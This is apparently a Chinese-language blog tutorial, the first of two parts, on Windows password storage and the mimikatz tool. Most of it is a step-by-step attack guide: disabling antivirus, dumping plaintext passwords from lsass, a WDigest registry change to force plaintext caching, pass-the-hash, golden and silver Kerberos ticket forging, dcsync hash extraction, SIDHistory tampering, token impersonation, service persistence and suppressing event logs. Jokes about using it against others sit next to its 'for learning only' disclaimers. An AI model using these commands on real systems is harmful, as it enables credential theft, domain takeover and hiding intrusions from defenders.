详解 - 密码安全与 mimikatz(上)
ainivolAGEM · · 科技·工程
引言
(该文章已重发。)
如今,大部分人的系统或网站都有密码这一设置。
但是你真的了解自己的密码安全性吗?
Part 1: Windows 基本密码流程
我们在设置密码后,Windows 就会在登录或者对密码操作时让你输入密码验证本人信息。所以说,不管在哪,Windows 肯定会在某一个文件夹里“埋”着你的密码,对吧?
那么这个文件在哪呢?它的名字叫 SAM,你可以在以下路径看到。
虽然但是你肯定不能对其操作。 毕竟谁会把密码就藏起来然后找到了就告诉人家啊。
那么 Windows 对这个密码是怎么操作的呢?
知周所众,Windows 的每一个行为都是有一个程序支撑的,那么我们可不可以在启动程序中找到我们锁屏的文件呢?哎!可以,它叫 winlogon。
(以下的应用程序你都可以去任务管理器翻。)
但是这个程序只负责提供锁屏的界面和输入密码,密码输入完之后,它就会扔给另一个叫 lsass 的程序。这个玩意就会把我们的密码和 SAM 文件进行比较,然后判断是否登录。
那有的人可能会说了,啊那我把那个程序,哎,给它关了,是不是就不用登录了呢。
你的电脑将在一分钟后重启。
windows 遇到问题并且需要重新启动。
你应立刻关闭此消息并保存你的工作。
emmm,最好别逝。
Part 2:Windows 爬取密码
声明:以下内容仅供学习使用。
我们想要获取一份密码,行,试试就逝世。先试试 SAM 文件。复制一份?
不行,用 cmd 爬取?啊也不行。
windows 对 SAM 文件有一个独特且困难的加密程序,所以就算能把文件强制拉出来看,那看到的也是被加密过的 MD5 码。现在网站上最强大的 MD5 解密网站是可以解密出来的,但是,额,如你所见,这玩意无疑要付费,而且工程困难。
那么我们有没有一个容易爬取 SAM 文件又可以获取密码明文的快速方法呢,有的兄弟有的,有一个软件叫 mimikatz,它专为爬取密码而生。
关于 mimikatz
网络上很多关于 mimikatz 的伪装程序,你说好巧不巧,mimikatz 就算是正版下载也会报这个病毒,所以别下错了。到达 mimikatz 官方开源网站,点击 Tags。
然后选择最新版 mimikatz 链接进入,然后选中 zip 文件下载。
就像刚刚说的,把那个动态保护给关掉并且记得下载后把解压的文件设为信任的文件,不然无法正常使用。
好的下载好后怎么办呢,选择解压后的文件夹里的 x64 文件夹,以管理员身份点开 mimikatz.exe,进入后以此输入下面两行代码。
privilege::debug
sekurlsa::logonpasswords
然后不出意外的话,你应该能看到这个电脑解密后的明文密码了。
就算出意外了也很正常。Windows 10 及以上的系统非常不道德地对密码的安全性进行了加强,或者有些装了 KB2577997 补丁,在内存缓存中禁止保存明文密码。此时你再使用刚刚的代码,估计只能得到这个结果。
看不见,根本看不见,但是密文给我翻出来了,我们的确可以拿去解密。
那我要这个 mimikatz 有何用。
但所谓道高一尺魔高一丈,我们自然是有办法对付这玩意的。我们直接使出一招:修改注册表!
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
好的修改完光速注销使其生效。
query user
logoff <user_id>
重新登录,太好了再次使用 mimikatz 直接拿下密码!
好的那么恭喜你你已经掌握 mimikatz 最基本的用法了!
Part 3:更多关于 mimikatz
现在开始是更高阶的用法,只想用这玩意 JC 别人的可以离开了(雾)。
其实 mimikatz 的用途很多的啊,它可以爬取很多域中和计算机中的明文密码、hash 等,那么都有哪些呢?
生动形象一点,大概有这些:
Privilege
我们先来看我们刚刚使用的第一条代码。
privilege::debug
前面这个 privilege 叫模块,这行代码调用的就是该模块中的“请求调试权限”功能。那么你可能已经猜到了这个模块就是专门用来请求权限的。
privilege::driver:请求装载驱动权限。
privilege::security:请求安全权限。
privilege::tcb:请求 tcb 权限。
privilege::backup:请求 backup 权限。
privilege::restore:请求恢复权限。
privilege::sysenv:请求系统环境权限。
privilege::id <id_num>:请求 id 特权。
privilege::name:请求指定名称的权限。
就比如如果你装载驱动时系统提示你权限不足那就需要装载驱动权限,其余同理。
Sekurlsa
sekurlsa::logonpasswords
sekurlsa::tspkg
sekurlsa::livessp
sekurlsa::ssp
第一行直观上讲没什么好说的,就是抓取各种的明文密码,这个模块用于提取用户凭证。第一行代码就是同时使用 tspkg,livessp,ssp 相关凭证方法来读取明文密码,如果不想同时使用也可以分开来使用,即下面三行的方法。
sekurlsa::kerberos
这里的内容就比较像日常干货了,如果某个域管理员登录了我们的电脑,我们可以直接把域管理员明文密码抓出来。
sekurlsa::wdigest
通过可逆方式,提取用户密码明文。
sekurlsa::msv
提取 NTLM/LM hash 凭证。
sekurlsa::process
将自己的进程切换到 lsass 进程中,之前只是注入读取信息。
sekurlsa::minidump <file_name>
这个模块可以读取已经打包的内存信息。
我看不懂,但我大受震撼。
其实我们不用管那些有的没的,把前面三条理解成将 lsass 进程中的内存信息保存为 dmp 文件即可。那么最后一条的常用方法就很简单了,就是离线将文件中的信息读取,然后就可以用 sekurlsa::logonpasswords full 解析明文密码了。
sekurlsa::pth
pass-the-hash hash 传递攻击
这位更是重量级。
我们先明确一个点:在域环境中,用户登录计算机的时候一般会固定使用域账号,大量计算机在安装时会使用相同的本地管理员账号和密码。而又因为 Windows 系统通常会使用 NTLM hash 对访问资源的用户进行身份认证,所以哈希传递便是通过不用明文密码的情况下,利用 LM hash 或 NTLM hash 直接登录远程主机,这常常被用于域或工作组环境中,详细可见这里。
那么这个 mimikatz 里的 PTH 也可以做这个功效,只要提供用户名,域组和 LM hash 或 NTLM hash 就可以直接访问目标电脑了,更详细的使用方法见(以后会出的)下文实战。
sekurlsa::krbtgt:就是 krbtgt。
sekurlsa::dpapisystem:显示 DPAPI SYSTEM 密码值。
sekurlsa::tickets:显示 Kerberos 票据。
sekurlsa::ekeys:显示 Kerberos 加密密钥。
sekurlsa::dpapi:显示内存中的 MasterKeys。
sekurlsa::credman:显示管理员凭证。
当然,该模块还有更多神奇用法,可以自行研究。
Kerberos
你打开说明文档一看,这啥啊这都是,票据是什么东西,能吃吗(不能)。
我们用一个生动形象的方式来理解所谓 kerberos 协议。来先介绍几位大哥:
-
AS(Authentication Server):认证服务器,专用来认证客户端的身份并发放客户用于访问 TGS 的 TGT,即票据授予的票据。
-
TGS(Ticket Granting Server):票据授予服务器,用来发放整个认证过程以及客户端访问服务端时所需的服务授予票据即 ST。
这俩玩意联合起来就是密钥分发中心,KeyDistribution Center,KDC。
那为什么要票据呢?客户端要访问一个服务端需要一个票据是肯定的,那就像你去剧院看剧你肯定要门票(ST)。那么问题又来了,你去一个买票窗口(TGS)一看,“请提供合法公民身份证明(TGT)”,那是肯定的吧。那么这东西哪里来呢,就由一个安检窗口(AS)来分发给你,这就是整个访问的安全过程。
那么黄金票据是什么东西呢,诶,它是一个伪造的 TGT。
很显然嘛对不对,通过伪造“安全认证”的方式绕过安检系统 AS,从而直接发送给 TGS 获得 ST。
那要伪造其实挺容易的,因为 CT_SK 统一即可,用 mimikatz 伪造票据需要一些条件:(括号内是简明扼要的获取方式,看着不难对吧)
-
域名称(shell net config workstation)。
-
域的 SID 值(shell whoami /user)。
-
域的 KRBTGT 账号的 HASH(lsadump::dcsync /domain:test.com /all /csv)。
-
伪造任意用户名(随便写)。
那么白银票据是什么呢,很简单,就是伪造的 ST,用来直接访问服务端。
虽然但是这玩意只能用于访问对应的服务端,条件有:
-
域名称。
-
域的 SID 值。
-
目标服务器名。
-
可利用的服务。
-
服务账号的 NTML HASH。
-
需要伪造的用户名。
来看看这俩玩意用 mimikatz 怎么造。
kerberos::golden /user:<user_name> /domain:<domain_name> /sid:<sid> /krbtgt:<krbtgt> /pt
kerberos::golden /domain:<domain_name> /sid:<sid> /target:<server_name> /rc4:<NTLM_hash> /service:<server_type> /user:<user> /ptt
其中 kerberos::golden 即为伪造黄金票据和白银票据的代码,第一行为伪造黄金票据,第二行为伪造白银票据,按如上方式输入即可。
剩下在这个模块里还有一些必要的配合使用的代码。
kerberos::list:列出当前所有的票据。
kerberos::purge:清除系统中的票据。
kerberos::ptt:票据传递。
kerberos::ptc:票据传递。
前俩玩意不必多说,第三个所谓“票据传递”,就是可以将现有的 Kerberos 票据提交到内存中,同理第四个就是反过来将我们的票据扔进去。
Crypto
ok 啊,想睡觉的同学可以跳过这个部分了。
providers:该命令列出所有 CryptoAPI 提供者。
stores:列出系统存储中的逻辑存储
certificates:显示或者导出证书。
keys:列出或者显示密钥。
sc:此命令列出系统上的智能卡 / 令牌读取器或将其移出系统。(当 CSP 可用时,它会尝试在智能卡上列出密钥。)
hash:显示当前用户的的哈希(LM、NTLM、md5、sha1、sha2)计算值。
system:描述 Windows 系统证书(注册表或者 hive 文件)。
scauth:从 CA 创建一个认证(智能卡等)
certtohw:尝试将软件 CA 导出到加密(虚拟)硬件中。
capi:修补 CryptoAPI 程序方便导出。
cng:修补 CNG 服务方便导出。
extract:从 CAPI RSA / AES 提供者获取密钥。
相信此时大家和我的思维是一样的。这什么玩意啊这是。
首先我们了解一下,数字证书是什么?说简单点,就是验证个人、系统或组织身份的电子凭据。
证书包含在数字签名中,用于验证签名的来源。证书所有者的公钥位于证书中,用于验证数字签名。这种做法避免了必须设置用于分发证书的中央设施。证书所有者的私钥是单独保留的,只有证书所有者知道。
软件发布者必须从证书颁发机构(CA)获取证书,该证书颁发机构保证证书的完整性。通常,CA 要求软件发布者提供唯一的标识信息。CA 使用此信息在颁发证书之前对请求者的身份进行身份验证。软件发布者还必须同意遵守 CA 设置的策略。如果未能这样做,CA 可以吊销证书。
从 CA 获取证书后,软件发布者必须将证书存储在计算机本地。
划重点了啊,发现这些证书都有给所有者的私钥,且都有专用身份验证,并且证书存储在计算机本地。所以说啊,一般私钥会被标记为不可导出,使用 Crypto 可以给系统打 patch,之后就可以导出了。了解之后我们逐个来看:
第一条可以查看加密提供者,因为在 Windows 中有各种各样的加密,这个参数可以查看提供者。一般有 CryptoAPI 和 CNG 两种,其中 CNG 较为古老。
第二条有关证书存储,Windows 系统中有很多证书存储,默认的是 CURRENT_USER 这个证书存储。这个命令可以查看这些证书存储下都有什么。
第三条可以查看子存储有哪些证书,默认 Current_USER。除了直接查询,我们也可以导出证书信息。
倒数第二、三条分别是给 CryptoAPI 打补丁,比较新的系统可以使用这个打补丁,之后就支持 CryptoAPI 导出了;和打 CNG 补丁。
这里必须补充一点:导出的公钥是 DER 格式的;导出的私钥是 PFX 格式的。
第四条真的就是物理显示密钥了,可以添加一下参数来进行选择性查看。导出密钥 PVK files 这个格式并不是我们平常的 pem 格式,我们可以通过 openssl rsa –inform pvk –in key.pvk–outform pem –out key.pem 转换。
剩下的几条几乎都不怎么用,感兴趣的可以去官方文档自行查阅。关于证书存储于电脑何处,我有可能会专门出一篇文章来讲。
byd 最看不懂的一集。
Lsadump
这个模块专门用于读取域控中域成员的 Hash 啊,想 JC 的朋友们可以打起精神了。
lsadump::lsa /patch /inject
这玩意可谓最好用的东西之一。通过注入 lsass.exe 进程检索用户的 hash,首先利用 LsaOpenPolicy 打开 LSA 策略的句柄,使用该句柄获取到域信息,然后通过 SamConnect 连接 SAM 的 API,获取域用户名和 RID 的句柄,最后通过对 lsass 进程打补丁(/patch)的方式利用用户名检索到 NTLM hash 信息。(只是这条代码的工作原理,理解不了不用硬理解。)
然后就搞到了!太好了是全机房的 NTML hash 我们无敌啦!
啊但是你先别急,这东西需要直接对 lsass.exe 进程进行操作,所以也是 EDR/HIPS 软件的重点监测和拦截对象,在有终端防护软件的情况下谨慎使用。就比如,额,在“某些”情况下你的 mimikatz 容易被电脑毙掉。
但是 Dump 肯定还是有别的手段的,比如卷影复制服务导出,但这不在我们今天的内容内。
lsadump::dcsync /domain:<domain_name> /user:<user>
查看域内指定用户信息,包括 NTLM hash 等。
lsadump::dcsync /domain:<domain_name> /all /csv
查看所有域用户。
lsadump::sam /sam:SAM /system:SYSTEM
Sam 表获取 Hash。
这几条就很顾名思义了,直接用就好,而且也比较安全。
lsadump::secrets:从 registry 或者 hives 获取保存的密码凭据,可以直接获取明文密码。
lsadump::cache:获取内存中的密码值。
lsadump::trust:要求 LSA 服务器检索信任身份验证信息(fbackupkeys rpdata 上的普通程序或补丁)。
lsadump::dcshadow:They told me I could be anything I wanted, so I became a domain controller.
lsadump::setntlm:要求服务器为一个用户设置新密码或 NTLM。
lsadump::changentlm:要求服务器为一个用户设置新密码或 NTLM。
lsadump::netsync:要求 DC 发送 DC/SRV/WKS 的当前和以前的 NTLM hash。
剩下的也都比较少用,这里不做过多展开。你猜我为什么不翻译第四条。
Sid
最容易红温的一集,看不了,根本看不了。
哎算了先憋住别睡啊,这个安全标识符模块还是很重要的,耐心看完。虽然看上去没什么好讲的都是些零零碎碎的东西,但是在实战中也是发挥着巨大的作用的。
我们先说说 SID 是什么:在Windows操作系统中,系统使用安全标识符来唯一标识系统中执行各种动作的实体,每个用户有 SID,计算机、用户组和服务同样也有 SID,并且这些 SID 互不相同,这样才能保证所标识实体的唯一性。
sid::lookup
该功能实现 SID 与对象名之间的相互转换,有三个参数。
/name:指定对象名,将其转换为 SID。
/sid:指定 SID,将其转换为对象名。
/system:指定查询的目标计算机。
sid::query
该功能支持通过 SID 或对象名来查询对象的信息,有三个参数。
/sam:指定要查询的对象的 sAMAccountName。
/sid:指定要查询对象的 objectSid。
/system:指定查询的目标域控(LDAP)。
我刚刚说什么来着,这可太有用了。具体用法也很简单,两个都是有关查询基本信息类的。关于sAMAccountName,这里不继续拓展,感兴趣的自行了解。
sid::patch
对域控 LDAP 修改过程中的验证函数进行 patch,需要在域控上执行,该功能没有参数。
为什么先说这个呢,是因为这个 patch 实际上分为两个步骤,需要成功一些步骤才能使用 Sid 的另一些功能。这条代码即对域控 LDAP 修改过程中的验证函数进行 patch。
第一步 patch 的是 SampModifyLoopbackCheck() 的内存;第二步 patch 的是 ModSetAttsHelperPreProcess() 的内存。没事理解不了也没关系,这个关乎更深层次的内容。
sid::modify(需第二次 patch 成功)
该功能用于修改一个域对象的 SID,有三个参数:
/sam:通过 sAMAccountName 指定要修改 SID 的对象。
/sid:通过 objectSid 指定要修改 SID 的对象。
/new:要修改对象的新 SID。
sid::add(需第一次 patch 成功)
该功能用来向一个域对象添加属性,有三个参数:
/sam:通过 sAMAccountName 指定要修改的对象。
/sid:通过 objectSid 指定要修改的对象。
/new:要修改 sIDHistory 为哪个对象的 SID,该参数可指定目标的 sAMAccountName 或 objectSid。
(/new 当指定名称时会先调用 LookupAccountSid 将其转换为SID。)
sid::clear
该功能用来清空一个对象的属性,有两个参数:
/sam:要清空 sIDHistory 的对象的 sAMAccountName。
/sid:要清空 sIDHistory 的对象的 objectSid。
那么有的人就要问了,这个 SIDHistory 是个什么东西呢,简单理解一下:SIDHistory 是一个为支持域迁移方案而设置的属性,当一个对象从一个域迁移到另一个域时,会在新域创建一个新的 SID 作为该对象的 SID,在之前域中的 SID 会添加到该对象的属性中,此时该对象将保留在原来域的 SID 对应的访问权限。所以 mimikatz 的这个代码有什么用显而易见了吧,修改获得访问权限呗。
其实该属性不仅在两个域之间起作用,它同样也可以用于单个域中。另一个实战中常用的利用,是在黄金票据中添加 Enterprise Admins 组的 SID 作为一个目标,从而实现同一域林下的跨域操作。没事你不需要深入探究。
另一个可以拓展的内容就是 SID Filtering。SID Filtering 简单的说就是跨林访问时目标域返回给你的服务票据中,会过滤掉非目标林中的 SID,即使你添加了属性。SID Filtering 林信任中默认开启,在单林中默认关闭。
其余内容例如 patch 失败的操作感兴趣可自行学习。
Token
再坚持一下,最后几项了。
token::whoami
查看我是谁。
token::list
列出都有哪些登录了的账号。
token::run
运行。
token::elevate /lab
假如 lab 域存在,我们可以假冒成为域管理员的 token。
token::revert
取消假冒。
果然还是后两条比较劲爆啊是不是,首先让我们明白,token(令牌)是什么东西。
token 通常指的是安全访问令牌(Security Token),这是用于表示用户或进程身份和访问权限的一种数据结构。Windows 中的安全访问令牌用于实现访问控制和权限管理,以确定用户或进程对系统资源的访问权限。
这玩意包含了很多内容:
-
用户标识(User SID):安全令牌中包含用户的安全标识符(SID),这是一个唯一标识用户的数值标识。
-
用户组成员关系(Group SIDs):令牌中还包含用户所属的安全组(User Group),这些组的 SID 也被包含在令牌中。
-
权限信息(Privileges):令牌可以指定用户或进程所具有的特权(Privileges),如执行系统管理任务或访问敏感资源的权限。
-
令牌类型(Token Type):Windows中可以有不同类型的令牌,如主访问令牌(Primary Access Token)、会话令牌(Impersonation Token)等,每种类型的令牌有其特定的用途和行为。
怎么样是不是看不懂了,没事很正常,我们只需要知道这个令牌是用于确认用户的安全访问权限的凭证即可。
现在你肯定会想:嗨嗨那我是不是自己造一个管理员凭证就无敌了呢。诶,还真是。
所以说后两条代码就是这个时候使用的啊。更多有关令牌请见参考文献。
Other
PS:Other 不是模块名称。
Process(进程模块)
Service(服务管理模块)
ts(终端服务模块)
event(事件模块)
misc(杂项模块)
像这些都是一些比较杂和偏门的东西了,要么就是大家懂的都懂,比如进程模块吧,会用 cmd 的都会用,这里不做过多解读,挑几个比较好用的给大家讲解。
service::+:mimikatz 将自己注册为一个系统服务。
这样每次系统起来就会自动运行了。
ts::multirdp:可以让其支持多个用户同时在线。
默认非服务器系统,Windows 只允许一个用户登录,也就是说如果我让别人远程登录我的电脑,那么我就不能操作了,这个命令就是为这里设计的。
ts::sessions:可以查看当前登录用户的登录信息。
查询你的 JC 对象(雾),在实战中可以更快锁定目标。
ts::remote /id:<id>:跳出当前用户的账号。
可以看到对方的登录信息,比如对方在打开哪些文件。
event:drop:避免新的日志继续产生。
这算是无痕人士狂喜了,虽然还是个实验性功能不是很稳定。
misc::clip:监听剪切板
会一直监听直到我们按下 Ctrl+C,也许能够方便复制?
杂项其实也就这么多有用的了,都和密码安全没什么关系,简要了解即可。
文章碍于篇幅有限,更多详情(实战)请期待“详解 - 密码安全与 mimikatz(下)”!
一些疑问
如果有时候操作按照文章无法执行,有可能是权限不够,使用 privilege 提升权限。
系统版本差异带来的不同不可避免,如有疑问请自行查阅相关资料。
文章如有问题欢迎指出。
后记:
再次声明,以上内容仅供学习!如触犯法律概不负责。
参考文献:
-
https://xz.aliyun.com/news/14804
-
https://blog.csdn.net/m0_73995253/article/details/147103862
-
https://blog.csdn.net/A526847/article/details/139339109
-
https://blog.csdn.net/zj2084/article/details/147050314
-
https://learn.microsoft.com/zh-cn/windows-hardware/drivers/install/digital-certificates
-
https://cloud.tencent.com/developer/article/1683140
-
https://cloud.tencent.com/developer/article/2329438
-
https://www.cnblogs.com/suv789/p/18282827